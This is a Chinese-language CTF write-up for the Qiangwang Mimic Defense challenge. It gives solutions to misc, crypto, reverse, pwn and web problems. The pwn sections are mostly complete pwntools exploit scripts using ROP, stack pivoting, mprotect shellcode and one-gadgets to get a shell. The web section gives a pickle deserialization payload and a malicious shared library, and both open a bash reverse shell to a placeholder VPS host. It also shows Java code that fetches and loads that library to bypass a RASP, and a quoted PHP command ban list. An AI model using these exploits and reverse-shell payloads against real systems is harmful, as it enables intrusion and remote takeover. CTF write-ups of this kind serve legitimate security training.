第七届“强网”拟态防御国际精英挑战赛决赛WP

19

初赛

Misc

ezflag

打开流量包,发现有两个包里面内容可以组成一个压缩包

image

把得到的压缩包里面的flag.zip解压出来,发现其实是PNG图片

image

image

PvZ

打开压缩包看到给了一张植物大战僵尸的游戏截图,还有一个txt

image

image

另一个压缩包密码是花了多少钱的md5值

image

选择直接爆破price,得到price是738

里面有两个残缺的二维码图片

M41b0lg3

Zz

修一下:

d7cf3410c868167fe398b67ce17cd87

扫一下:

D'`_q^K![YG{VDTveRc10qpnJ+*)G!~f1{d@-}v<)9xqYonsrqj0hPlkdcb(`Hd]#a`_A@VzZY;Qu8NMqKPONGkK-,BGF?cCBA@">76Z:321U54-21*Non,+*#G'&%$d"y?w_uzsr8vunVrk1ongOe+ihgfeG]#[ZY^W\UZSwWVUNrRQ3IHGLEiCBAFE>=aA:9>765:981Uvu-2+O/.nm+$Hi'~}|B"!~}|u]s9qYonsrqj0hmlkjc)gIedcb[!YX]\UZSwWVUN6LpP2HMFEDhHG@dDCBA:^!~<;:921U/u3,+*Non&%*)('&}C{cy?}|{zs[q7unVl2ponmleMib(fHG]b[Z~k

不知道是啥玩意,看到有一个二维码图片名字是M41b0lg3,找到了一个叫Malbolge的编程语言

参考https://hasegawaazusa.github.io/malbolge-language-note.html直接运行一下

image

‍PWN

signin

from pwn import *
from pwnlib.dynelf import ctypes
from pwnlib.fmtstr import make_atoms_simple
from ctypes import *

context(arch="amd64", os="linux", log_level="debug")
context.terminal = ["tmux", "split", "-h"]
binary_path = "./signin_t/vuln"
libc_path = "./signin_t/libc.so.6"

rop = ROP(binary_path)
elf = ELF(binary_path)

libc = ELF(libc_path)
libc_dll = cdll.LoadLibrary(libc_path)

libc_dll.srand(0)


local = 1

ip, port = "61.147.171.105", 29144
if local == 0:
    p = process(binary_path)
    dbg = lambda p: gdb.attach(p)
else:
    p = remote("pwn-5419033d36.challenge.xctf.org.cn", 9999, ssl=True)
    dbg = lambda _: None


ls = lambda addr: log.success(hex(addr))
recv = lambda char: u64(p.recvuntil(char, drop=True).ljust(8, b"\0"))


# __libc_start_main

csu_start = 0x0401870


def csu(edi=0, rsi=0, rdx=0, r12=0, start=csu_start, mode=0):
    end = start + 0x1A
    payload = p64(end)
    payload += p64(0)  # rbx
    payload += p64(1)  # rbp
    if mode == 0:
        payload += p64(r12)  # r12
        payload += p64(edi)  # edi
        payload += p64(rsi)  # rsi
        payload += p64(rdx)  # rdx
    else:
        payload += p64(edi)  # r12
        payload += p64(rsi)  # edi
        payload += p64(rdx)  # rsi
        payload += p64(r12)  # rdx
    payload += p64(start)
    payload += b"a" * 56
    return payload


# =================start=================#

payload = p64(0) * 2 + b"\x00\x00"
p.send(payload)

for i in range(100):
    res = libc_dll.rand() % 100 + 1
    p.sendafter(b"code:\n", p8(res))

p.sendafter(b">>", b"\x01")

p.sendafter(b"Index: \n", b"\x01")


p.sendafter(b"Note: \n", b"aaaabbbb")

puts_plt = elf.plt.puts
puts_got = elf.got.puts
vuln_addr = elf.sym.o_O
read_addr = 0x4013CF
pop_rdi = 0x0000000000401893
lev_ret = 0x00000000004013BE
ret_addr = 0x000000000040101A


payload = b"a" * 0x108
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(vuln_addr)
sleep(0.5)
p.send(payload)

libc_base = recv(b"\n") - libc.sym.puts
mprotect_addr = libc_base + libc.sym.mprotect

sleep(0.5)

bss_addr = 0x404500

payload = b"a" * 0x100
payload += p64(bss_addr)
payload += p64(read_addr)
p.send(payload)

shell = """
mov rax, 2;
mov rcx, 0x67616c662f2e;
push rcx;
mov rdi, rsp;
xor rsi, rsi;
syscall;

mov rdi, rax;
xor rax, rax;
mov rsi, 0x404600;
mov rdx, 0x50;
xor rax, rax;
syscall;


xor rax, rax;
inc rax;
mov rsi, 0x404600;
mov rdx, 0x50;
mov rdi, 1;
syscall;
"""

dbg(p)
ls(libc_base)
sleep(0.5)
payload = csu(edi=0x404000, rsi=0x1000, rdx=0x7, r12=0x404510, mode=1)

payload += p64(0x404480)
payload += asm(shell)

payload = payload.ljust(0x100, b"x")
payload += p64(bss_addr - 0x108)
payload += p64(lev_ret)
payload += p64(mprotect_addr)
p.send(payload)


p.interactive()

首先有个猜随机数的可以覆写种子绕过,之后有一个类似堆的东西,事实上是栈溢出,和堆一点关系都没有。有个沙箱,直接栈迁移➕mprotect然后写入shellcode,打orw.

signin_revenge

from pwn import *
from pwnlib.dynelf import ctypes
from pwnlib.fmtstr import make_atoms_simple
from ctypes import *

context(arch="amd64", os="linux", log_level="debug")
context.terminal = ["tmux", "split", "-h"]
binary_path = "./signin/vuln"
libc_path = "./signin/libc.so.6"

rop = ROP(binary_path)
elf = ELF(binary_path)

libc = ELF(libc_path)
libc_dll = cdll.LoadLibrary(libc_path)


local = 1

ip, port = "pwn-f2237b44a0.challenge.xctf.org.cn", 9999
if local == 0:
    p = process(binary_path)
    dbg = lambda p: gdb.attach(p)
else:
    p = remote("pwn-16186d9a30.challenge.xctf.org.cn", 9999, ssl=True)
    dbg = lambda _: None


ls = lambda addr: log.success(hex(addr))
recv = lambda char: u64(p.recvuntil(char, drop=True).ljust(8, b"\0"))


# __libc_start_main

csu_start = 0x401370


def csu(edi=0, rsi=0, rdx=0, r12=0, start=csu_start, mode=0):
    end = start + 0x1A
    payload = p64(end)
    payload += p64(0)  # rbx
    payload += p64(1)  # rbp
    if mode == 0:
        payload += p64(r12)  # r12
        payload += p64(edi)  # edi
        payload += p64(rsi)  # rsi
        payload += p64(rdx)  # rdx
    else:
        payload += p64(edi)  # r12
        payload += p64(rsi)  # edi
        payload += p64(rdx)  # rsi
        payload += p64(r12)  # rdx
    payload += p64(start)
    payload += b"a" * 56
    return payload


def sig(rax=0, rdi=0, rsi=0, rdx=0, rsp=0, rip=0):
    sigframe = SigreturnFrame()
    sigframe.rax = rax
    sigframe.rdi = rdi  # "/bin/sh" 's addr
    sigframe.rsi = rsi
    sigframe.rdx = rdx
    sigframe.rsp = rsp
    sigframe.rip = rip
    return bytes(sigframe)


# =================start=================#

puts_plt = elf.plt.puts
puts_got = elf.got.puts
vuln_addr = elf.sym.vuln
read_addr = 0x000000004012CF
pop_rdi = 0x0000000000401393
lev_ret = 0x00000000004012BE
ret_addr = 0x000000000040101A


payload = b"a" * 0x108
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(vuln_addr)
p.sendafter(b"pwn!\n", payload)

libc_base = recv(b"\n") - libc.sym.puts
mprotect_addr = libc_base + libc.sym.mprotect


sleep(0.5)

bss_addr = 0x404500

payload = b"a" * 0x100
payload += p64(bss_addr)
payload += p64(read_addr)
p.send(payload)

shell = """
mov rax, 2;
mov rcx, 0x67616c662f2e;
push rcx;
mov rdi, rsp;
xor rsi, rsi;
syscall;

mov rdi, rax;
xor rax, rax;
mov rsi, 0x404600;
mov rdx, 0x50;
xor rax, rax;
syscall;


xor rax, rax;
inc rax;
mov rsi, 0x404600;
mov rdx, 0x50;
mov rdi, 1;
syscall;
"""

dbg(p)
ls(libc_base)
sleep(0.5)
payload = csu(edi=0x404000, rsi=0x1000, rdx=0x7, r12=0x404510, mode=1)

payload += p64(0x404480)
payload += asm(shell)

payload = payload.ljust(0x100, b"x")
payload += p64(bss_addr - 0x108)
payload += p64(lev_ret)
payload += p64(mprotect_addr)
p.send(payload)


p.interactive()

就是把signin中的栈溢出函数单独弄了出来,沙箱都是一模一样的。虽然读入内容少了,但还是能够栈迁移。和上一题做法一样。

QWEN

from pwn import *
from pwnlib.dynelf import ctypes
from pwnlib.fmtstr import make_atoms_simple
from ctypes import *

context(arch="amd64", os="linux", log_level="debug")
context.terminal = ["tmux", "split", "-h"]
binary_path = "./QWEN/pwn1"
libc_path = "./QWEN/libc.so.6"

rop = ROP(binary_path)
elf = ELF(binary_path)

libc = ELF(libc_path)


local = 1

ip, port = "61.147.171.105", 29144
# ip, port = "chall.pwnable.tw", 1
if local == 0:
    p = process(binary_path)
    dbg = lambda p: gdb.attach(p)
else:
    p = remote("pwn-deb19cee97.challenge.xctf.org.cn", 9999, ssl=True)
    dbg = lambda _: None


ls = lambda addr: log.success(hex(addr))
recv = lambda char: u64(p.recvuntil(char, drop=True).ljust(8, b"\0"))




def search_from_libc(func_name: str, func_addr: int, libc=libc):
    log.success(func_name + ": " + hex(func_addr))
    offset = func_addr - libc.symbols[func_name]
    binsh = offset + libc.search(b"/bin/sh").__next__()
    system = offset + libc.symbols["system"]
    log.success("offset: " + hex(offset))
    return (system, binsh)


# __libc_start_main

csu_start = 0x0


def csu(edi=0, rsi=0, rdx=0, r12=0, start=csu_start, mode=0):
    end = start + 0x1A
    payload = p64(end)
    payload += p64(0)  # rbx
    payload += p64(1)  # rbp
    if mode == 0:
        payload += p64(r12)  # r12
        payload += p64(edi)  # edi
        payload += p64(rsi)  # rsi
        payload += p64(rdx)  # rdx
    else:
        payload += p64(edi)  # r12
        payload += p64(rsi)  # edi
        payload += p64(rdx)  # rsi
        payload += p64(r12)  # rdx
    payload += p64(start)
    payload += b"a" * 56
    return payload

# =================start=================#

p.sendlineafter(b"\xef\xbc\x9a", b"0 0")
p.sendlineafter(b"\xef\xbc\x9a", b"1 1")
p.sendlineafter(b"\xef\xbc\x9a", b"2 2")
p.sendlineafter(b"\xef\xbc\x9a", b"3 3")
p.sendlineafter(b"\xef\xbc\x9a", b"4 4")

payload = b"a" * 0x8 + b"\x08\x15"
p.sendafter(b"say?", payload)

p.sendlineafter(b"[Y/N]\n", b"N")

p.sendlineafter(b"\xef\xbc\x9a", b"999 999")

p.sendlineafter(b" key\n", str(0x6B8B4567).encode())

p.sendlineafter(b"in!\n", b"/proc/self/maps")
p.recvlines(2)

text_base = int(p.recvuntil(b"-", drop=True), 16)
p.recvlines(3)

libc_base = int(p.recvuntil(b"-", drop=True), 16)

p.recvuntil(b"[vdso]\n")

stack_addr = int(p.recvuntil(b"-", drop=True), 16)


p.sendlineafter(b"\xef\xbc\x9a", b"0 0")
p.sendlineafter(b"\xef\xbc\x9a", b"1 1")
p.sendlineafter(b"\xef\xbc\x9a", b"2 2")
p.sendlineafter(b"\xef\xbc\x9a", b"3 3")
p.sendlineafter(b"\xef\xbc\x9a", b"4 4")

one = [0x4F29E, 0x4F2A5, 0x4F302, 0x10A2FC]

payload = b"a" * 0x8 + p64(one[3] + libc_base) + p64(0) * 4
p.sendafter(b"say?", payload)

p.sendlineafter(b"[Y/N]\n", b"N")

p.sendlineafter(b"\xef\xbc\x9a", b"512 256")

"""
find / -user root -perm -4000-print2>/dev/null
0x4f29e execve("/bin/sh", rsp+0x40, environ)
constraints:
  address rsp+0x50 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv

0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  address rsp+0x50 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, rax, r12, NULL} is a valid argv

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
"""


p.interactive()

下五子棋,只要自己有五个能连成一块的就可以拿到一次输入机会(对方怎么样不管),输入可以覆写栈上的一个用于处理错误输入的函数指针。程序还有一个admin函数提供限制文件名的读文件(flag的g被过滤了)然后返回main。partial overwrite爆破该指针指向admin函数之后读取/proc/self/maps,直接拿到libc地址,之后覆写函数指针为one gadget,正好有一个可以构造满足条件。拿到shell后只能用pwn2来读flag,输入指令./pwn2 -c aaa ./flag之后cat ./aaa拿到flag

ezcode

from pwn import *
# from LibcSearcher import *
from pwnlib.adb import shell
from pwnlib.dynelf import ctypes
from pwnlib.fmtstr import make_atoms_simple
from ctypes import *

context(arch="amd64", os="linux", log_level="debug")
context.terminal = ["tmux", "split", "-h"]
binary_path = "./bin/ezcode"
libc_path = "/home/NazrinDuck/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so"

elf = ELF(binary_path)

libc = ELF(libc_path)


local = 1

ip, port = "61.147.171.105", 29144
# ip, port = "chall.pwnable.tw", 1
if local == 0:
    p = process(binary_path)
    dbg = lambda p: gdb.attach(p)
else:
    p = remote("pwn-36f53f067e.challenge.xctf.org.cn", 9999, ssl=True)
    dbg = lambda _: None


ls = lambda addr: log.success(hex(addr))
recv = lambda char: u64(p.recvuntil(char, drop=True).ljust(8, b"\0"))


# =================start=================#
shellcode = """
mov rsp, 0x9998200;
mov rax, 2;

mov rcx, 0x67616c662f2e;
push rcx;

mov rdi, rsp;
xor rsi, rsi;
syscall;

mov rsi, rax;
xor rdi, rdi;
inc rdi;
push 0;
mov rdx, rsp;
mov r10, 0x100;
mov rax, 40;
syscall;
"""


"""
00000000: 4c87 ff66 ba07 0066 b80a 000f 0599 31c0  L..f...f......1.
00000010: 87ce 31ff 0f05                           ..1...
4c87ff66ba070066b80a000f059931c087ce31ff0f05

xchg rdi, r15;
mov dx, 0x7;
mov ax, 10;
syscall;
cdq;
xor eax, eax;
xchg esi, ecx;
xor edi, edi;
syscall;

"""


dbg(p)
payload = b"""{"shellcode":"4c87ff66ba070066b80a000f059931c087ce31ff0f05"}"""
p.sendline(payload)

sleep(2)
p.send(b"\x00" * 9 + asm(shellcode))


p.interactive()

沙箱shellcode题,沙箱只限制了execve/execveat。用json格式输入机器码转化为十六进制的字符串,限制该字符串长度小于44,即原机器码长度小于22.由于在copy之后把机器码地址的写权限关掉了,我们首先需要增加机器码地址的写权限,然后用read再往里边写机器码。用xchg,xor,和cdq可以以非常短的方式构造满足的shellcode, 可以往机器码地址附近输入很长的内容,之后就输入padding+open+sendfile拿到flag.

guestbook

from pwn import *
from pwnlib.dynelf import ctypes
from pwnlib.fmtstr import make_atoms_simple
from ctypes import *

context(arch="amd64", os="linux", log_level="debug")
context.terminal = ["tmux", "split", "-h"]
binary_path = "./guestbook/pwn"
libc_path = "./guestbook/libc.so.6"

rop = ROP(binary_path)
elf = ELF(binary_path)

libc = ELF(libc_path)
libc_dll = cdll.LoadLibrary(libc_path)


local = 1

if local == 0:
    p = process(binary_path)
    dbg = lambda p: gdb.attach(p)
else:
    p = remote("pwn-2e5d3b8445.challenge.xctf.org.cn", 9999, ssl=True)
    dbg = lambda _: None


ls = lambda addr: log.success(hex(addr))
recv = lambda char: u64(p.recvuntil(char, drop=True).ljust(8, b"\0"))


# __libc_start_main


# =================start=================#
# > 0x500
def add(idx, size):
    p.sendlineafter(b">", b"1")
    p.sendlineafter(b"index\n", str(idx).encode())
    p.sendlineafter(b"size\n", str(size).encode())


def edit(idx, content):
    p.sendlineafter(b">", b"2")
    p.sendlineafter(b"index\n", str(idx).encode())
    p.sendafter(b"content\n", content)


def delete(idx):
    p.sendlineafter(b">", b"3")
    p.sendlineafter(b"index\n", str(idx).encode())


def show(idx):
    p.sendlineafter(b">", b"4")
    p.sendlineafter(b"index\n", str(idx).encode())


add(0, 0x500)
add(9, 0x500)
add(10, 0x500)
add(12, 0x500)
add(14, 0x500)
edit(-4, b"aaaabbb|")
show(-4)
p.recvuntil(b"|")

libc_base = recv(b"\n") - 0x21B723
environ = libc_base + libc.sym.environ
sys = libc.sym.system + libc_base
binsh = libc_base + libc.search(b"/bin/sh").__next__()
pop_rdi = 0x000000000002A3E5 + libc_base
ret = 0x00000000000F410B + libc_base
"""
0x000000000002a3e5: pop rdi; ret;
0x00000000000f410b: ret;
"""


show(-11)

bss_base = recv(b"\n") - 0x8

edit(-11, p64(bss_base))
edit(-11, p64(environ))
show(-12)

stack_addr = recv(b"\n")
ret_addr = stack_addr - 0x140

edit(-11, p64(ret_addr))
# dbg(p)
edit(-12, p64(ret) + p64(pop_rdi) + p64(binsh) + p64(sys))


ls(stack_addr)
ls(libc_base)
ls(bss_base)


p.interactive()

高版本堆,但和堆一点关系都没有。heapsize与heaparray挨着,没有限制越界读写,直接改stderr然后读泄漏libc基地址。bss上有一个指向自己的指针,任意读可得bss基地址,任意写该指针为bss段上某个地址,利用这条链可以完成任意读写。任意读environ得栈地址计算得返回地址,然后往返回地址写ROP链,最后成功getshell

Web

capoo

image

抓包,发现capoo参数可以路径穿越,读取showpic.php:

<?php
class CapooObj {
    public function __wakeup()
    {
	$action = $this->action;
	$action = str_replace("\"", "", $action);
	$action = str_replace("\'", "", $action);
	$banlist = "/(flag|php|base|cat|more|less|head|tac|nl|od|vi|sort|uniq|file|echo|xxd|print|curl|nc|dd|zip|tar|lzma|mv|www|\~|\`|\r|\n|\t|\	|\^|ls|\.|tail|watch|wget|\||\;|\:|\(|\)|\{|\}|\*|\?|\[|\]|\@|\\|\=|\<)/i";
	if(preg_match($banlist, $action)){
		die("Not Allowed!");
	}
        system($this->action);
    }
}
header("Content-type:text/html;charset=utf-8");
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['capoo'])) {
    $file = $_POST['capoo'];
  
    if (file_exists($file)) {
        $data = file_get_contents($file);
        $base64 = base64_encode($data);
    } else if (substr($file, 0, strlen("http://")) === "http://") {
        $data = file_get_contents($_POST['capoo'] . "/capoo.gif");
        if (strpos($data, "PILER") !== false) {
	        die("Capoo piler not allowed!");
        }
        file_put_contents("capoo_img/capoo.gif", $data);
        die("Download Capoo OK");
    } else {
        die('Capoo does not exist.');
    }
} else {
    die('No capoo provided.');
}
?>
<!DOCTYPE html>
<html>
  <head>
    <title>Display Capoo</title>
  </head>
  <body>
    <img style='display:block; width:100px;height:100px;' id='base64image'
       src='data:image/gif;base64, <?php echo $base64;?>' />
  </body>
</html>

发现其实是任意文件读取

下一步应该是打phar反序列化,结果发现start.sh没删。。。

image

直接读flag就行了

image

ez_picker

给源码了:

from sanic import Sanic
from sanic.response import json,file as file_,text,redirect
from sanic_cors import CORS
from key import secret_key
import os
import pickle
import time
import jwt
import io
import builtins
app = Sanic("App")
pickle_file = "data.pkl"
my_object = {}
users = []

safe_modules = {
    'math',
    'datetime',
    'json',
    'collections',
}

safe_names = {
    'sqrt', 'pow', 'sin', 'cos', 'tan',
    'date', 'datetime', 'timedelta', 'timezone', 
    'loads', 'dumps',  
    'namedtuple', 'deque', 'Counter', 'defaultdict'
}

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module in safe_modules and name in safe_names:
            return getattr(builtins, name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))
  
def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()

CORS(app, supports_credentials=True, origins=["http://localhost:8000", "http://127.0.0.1:8000"])
class User:
    def __init__(self,username,password):
        self.username=username
        self.password=password
    

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

def token_required(func):
    async def wrapper(request, *args, **kwargs):
        token = request.cookies.get("token")  
        if not token:
            return redirect('/login')
        try:
            result=jwt.decode(token, str(secret_key), algorithms=['HS256'], options={"verify_signature": True})
        except jwt.ExpiredSignatureError:
            return json({"status": "fail", "message": "Token expired"}, status=401)
        except jwt.InvalidTokenError:
            return json({"status": "fail", "message": "Invalid token"}, status=401)
        print(result)
        if result["role"]!="admin":
            return json({"status": "fail", "message": "Permission Denied"}, status=401)
        return await func(request, *args, **kwargs)
    return wrapper

@app.route('/', methods=["GET"])
def file_reader(request):
    file = "app.py"
    with open(file, 'r') as f:
        content = f.read()
    return text(content)

@app.route('/upload', methods=["GET","POST"])
@token_required
async def upload(request):
    if request.method=="GET":
        return await file_('templates/upload.html')
    if not request.files:
        return text("No file provided", status=400)

    file = request.files.get('file')
    file_object = file[0] if isinstance(file, list) else file
    try:
        new_data = restricted_loads(file_object.body)
        try:
            my_object.update(new_data)
        except:
            return json({"status": "success", "message": "Pickle object loaded but not updated"})
        with open(pickle_file, "wb") as f:
            pickle.dump(my_object, f)

        return json({"status": "success", "message": "Pickle object updated"})
    except pickle.UnpicklingError:
        return text("Dangerous pickle file", status=400)
  
@app.route('/register', methods=['GET','POST'])
async def register(request):
    if request.method=='GET':
        return await file_('templates/register.html')
    if request.json:
        NewUser=User("username","password")
        merge(request.json, NewUser)
        users.append(NewUser)
    else:
        return json({"status": "fail", "message": "Invalid request"}, status=400)
    return json({"status": "success", "message": "Register Success!","redirect": "/login"})

@app.route('/login', methods=['GET','POST'])
async def login(request):
    if request.method=='GET':
        return await file_('templates/login.html')
    if request.json:
        username = request.json.get("username")
        password = request.json.get("password")
        if not username or not password:
            return json({"status": "fail", "message": "Username or password missing"}, status=400)
        user = next((u for u in users if u.username == username), None)
        if user:
            if user.password == password:
                data={"user":username,"role":"guest"}
                data['exp'] = int(time.time()) + 60 *5
                token = jwt.encode(data, str(secret_key), algorithm='HS256')
                response = json({"status": "success", "redirect": "/upload"})
                response.cookies["token"]=token
                response.headers['Access-Control-Allow-Origin'] = request.headers.get('origin')
                return response
            else:
                return json({"status": "fail", "message": "Invalid password"}, status=400)
        else:
            return json({"status": "fail", "message": "User not found"}, status=404)
    return json({"status": "fail", "message": "Invalid request"}, status=400)

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=8000)

应该先是原型链污染,改jwt的密钥,然后pickle反序列化命令执行

原型链污染:

image

把密钥改成abc

然后注册一个用户,伪造jwt

image

发现pickle反序列化给了个白名单,不太会用,但也可以污染,换成自己想要的:

image

image

然后pickle反序列化getshell就很简单了

参考这个https://xz.aliyun.com/t/7436

exp = b'''cbuiltins
getattr
p0
(cbuiltins
dict
S'get'
tRp1
cbuiltins
globals
)Rp2
00g1
(g2
S'builtins'
tRp3
0g0
(g3
S'eval'
tR(S'__import__("os").system("bash -c 'bash -i >& /dev/tcp/VPS-IP/VPS-PORT 0>&1'")'
tR.
'''
with open('exp.pkl', 'wb') as f:
    f.write(exp)

image

OnlineRunner

给了一个在线运行Java代码的网站,通过报错看到已经把函数名写好了:

image

想用反射获取unsafe,发现是JDK17,需要先绕过限制,参考https://xz.aliyun.com/t/15035

然后使用JNI绕过RASP,参考https://ko1sh1.github.io/2024/03/25/blog_java%20Rasp%E7%9A%84%E5%AE%9E%E7%8E%B0%E4%B8%8E%E7%BB%95%E8%BF%87和https://www.cnblogs.com/nice0e3/p/14067160.html写一个evil.c文件:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
    system("bash -c 'bash -i >& /dev/tcp/VPS-IP/VPS-PORT 0>&1'");
}

在linux上编译:

gcc -shared -fPIC evil.c -o evil.so

在VPS开一个下载evil.so的网站,再监听一个反弹shell

然后执行下面的代码

try (java.io.InputStream in = new java.net.URL("http://VPS-IP/evil.so").openStream();
     java.io.FileOutputStream out = new java.io.FileOutputStream("/tmp/evil.so")) {
    byte[] buf = new byte[8192];
    int bytesRead;
    while ((bytesRead = in.read(buf)) != -1) {
        out.write(buf, 0, bytesRead);
    }
    Class unsafeClass = Class.forName("sun.misc.Unsafe");
    java.lang.reflect.Field field = unsafeClass.getDeclaredField("theUnsafe");
    field.setAccessible(true);
    sun.misc.Unsafe unsafe = (sun.misc.Unsafe) field.get(null);
    Module baseModule = Object.class.getModule();
    Class currentClass = Main.class;
    long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
    unsafe.getAndSetObject(currentClass, addr, baseModule);
    Class nativeLibraryClass = Class.forName("jdk.internal.loader.NativeLibraries");
    Class nativeLibraryImplClass = Class.forName("jdk.internal.loader.NativeLibraries$NativeLibraryImpl");
    java.lang.reflect.Method load = nativeLibraryClass.getDeclaredMethod("load", nativeLibraryImplClass, String.class, boolean.class, boolean.class, boolean.class);
    load.setAccessible(true);
    Object nativeLibraryObj = unsafe.allocateInstance(nativeLibraryClass);
    load.invoke(nativeLibraryObj, null, "/tmp/evil.so", false, true, true);
} catch (Exception e) {
    throw new RuntimeException(e);
}

image

Crypto

xor

ls='0b050c0e180e585f5c52555c5544545c0a0f44535f0f5e445658595844050f5d0f0f55590c555e5a0914'
key=list('mimic')
for i in range(len(ls)//2):
    print(chr(ord(key[i%5])^int(ls[2*i:2*i+2],16)),end='')
#flag{c1251858-71cb-02f3-5505-fb4bf64e879d}

Reverse

Serv1ce

用jadx打开,得到三个主要的部分

image

MainActivity申明了两个按钮的click事件,点击input按钮时会解密两段字符串,check也是一样的功能,同时input还会将文本框中的内容传到intent。

image

input解密出来是开始服务,check则是终止,调用的是myclass里的函数。

import base64

def ksa(s):
    ls=[i for i in range(256)]
    j=0
    for i in range(len(ls)):
        j=(j+ls[i]+ord(s[i%len(s)]))%256
        ls[i],ls[j]=ls[j],ls[i]
    return ls

def rpga(ls,n):
    ll=[0]*n
    i2,i3=0,0
    for i in range(n):
        i2=(i2+1)%256
        i3=(i3+ls[i2])%256
        ls[i2],ls[i3]=ls[i3],ls[i2]
        ll[i]=(ls[(ls[i2]+ls[i3])%256])%256
    return ll

def decode(s):
    ss=base64.b64decode(s)
    key="k3ykeyk3ykey"
    charr=rpga(ksa(key),len(ss))
    for i in range(len(ss)):
        print(chr(ss[i]^charr[i]),end='')

decode("RtHTxaKcRXIdES5ktXugN2ww1d91EMp/QOxAh8bV")
# android.content.ContextWrapper
print()
decode("VMvWxbmmRC4IFyN1")
# startService
print()
decode("VMvYx56QUyoXHSU=")
# stopService

MyService则是主要处理部分,定义了key和num,其中,num会随着点击input按钮的次数改变而改变,每次都会生成相同的密钥数组,而check函数则是调用了native层。

image

将libServ1ce.so拖入IDA,查看check函数,输入内容的长度是36,将密钥和输入值依次异或后再乘上num与cmp数组比较。

image

由于长度是36,故猜测输入值是flag{}里面的内容,其中第8位和第13位等是'-',求出num的逆元即可。

cmp=[0xB9,0x32,0xC2,0xD4,0x69,0xD5,0xCA,0xFB,0xF8,0xFB,0x80,0x7C,0xD4,0xE5,0x93,0xD5,0x1C,0x8B,0xF8,0xDF,0xDA,0xA1,0x11,0xF8,0xA1,0x93,0x93,0xC2,0x7C,0x8B,0x1C,0x66,0x01,0x3D,0xA3,0x67]
key="1liIl11lIllIIl11llII"
num=9
keyarray=[0]*36
for i in range(36):
    keyarray[i]=(ord(key[i%len(key)])-0x77^23)&255

while(1):
    count=0
    if((num*(ord('-')^keyarray[8]))%256==cmp[8]):
        break
    num+=1

for numre in range(256):
    if((numre*num)%256==1):
        break

print('flag{',end='')
for i in range(len(cmp)):
    print(chr(((numre*cmp[i])^keyarray[i])%256),end='')
print('}')
#flag{f4c99233-3b19-426c-8ca6-a44d1c67f5d8}

A_game

这个程序是一个吃豆人游戏,打开ida,能在主界面的退出逻辑中找到一个退出时执行的函数

image

主要逻辑是从注册表中读 Myflag这个值,读取到后判断长度等于36,之后读取 game.data转移到 game.tmp经过处理存到 game.ps1,之后执行 game.ps1,删除脚本,将remove函数nop掉,得到game.ps1

image

由很长字符串组成,去除运行解码脚本,得到

image

脚本经过混淆,将脚本去混淆,得到

function enenenenene {
    param(
        $plaintextBytes,
        $keyBytes
    )
    $S = 0..255
    $j = 0
    for ($i = 0; $i -lt 256; $i++) {
        $j = ($j + $S[$i] + $keyBytes[$i % $keyBytes.Length]) % 256
        $temp = $S[$i]
        $S[$i] = $S[$j]
        $S[$j] = $temp
    }
    $i = 0
    $j = 0
    $ciphertextBytes = @()
    for ($k = 0; $k -lt $plaintextBytes.Length; $k++) {
        $i = ($i + 1) % 256
        $j = ($j + $S[$i]) % 256
 $temp = $S[$i]
        $S[$i] = $S[$j]
        $S[$j] = $temp
        $t = ($S[$i] + $S[$j]) % 256
        $ciphertextBytes += ($plaintextBytes[$k] -bxor $S[$t])
    }
    return $ciphertextBytes
}
function enenenenene1 {
    param(
        $inputbyte
    )
    $key = @(0x70, 0x6f, 0x77, 0x65, 0x72)
    $encryptedText = @();
    for ($k = 0; $k -lt $inputbyte.Length; $k++) {
        $encryptedText = enenenenene -plaintextBytes $inputbyte -keyBytes $key;
        $key = enenenenene -plaintextBytes $key -keyBytes $encryptedText;
    }
    return $encryptedText + $key;
}
function enenenenene2 {
    param(
        $inputbyte
    )
    $key = @(0x70, 0x30, 0x77, 0x65, 0x72)
    for ($k = 0; $k -lt $inputbyte.Length; $k++) {
        $inputbyte[$k] = $inputbyte[$k] + $key[$k % $key.Length]
    }
    return $inputbyte;
}
function enenenenene3 {
    param(
        $inputbyte
    )
    $key = @(0x70, 0x30, 0x77, 0x33, 0x72)
    for ($k = 0; $k -lt $inputbyte.Length; $k++) {
        $inputbyte[$k] = $inputbyte[$k] * $key[$k % $key.Length]
    }
    return $inputbyte;
}
$registryPath = 'HKCU:\Software\PacManX'
$valueName = 'MYFLAG'
$value = Get-ItemPropertyValue $registryPath $valueName
$plaintext = @($value) | ForEach-Object {
    $input = $_
    $plaintext = @()
    for ($i = 0; $i -lt $input.Length; $i++) {
        $plaintext += [int][char]$input[$i]
    }
    $plaintext
}
if ($plaintext.Length -ne 36) {
    Set-Content -Path "log.txt" -Value "ERROR"
    exit
}
$encrypted1Text = enENenenene2 -inputbyte (enenenENene2 -inputbyte (enenenenene3 -inputbyte (Enenenenene2 -inputbyte (enenenenene2 -inputbyte (enenenenene2 -inputbyte (enenenenene1 -input $plaintext))))))
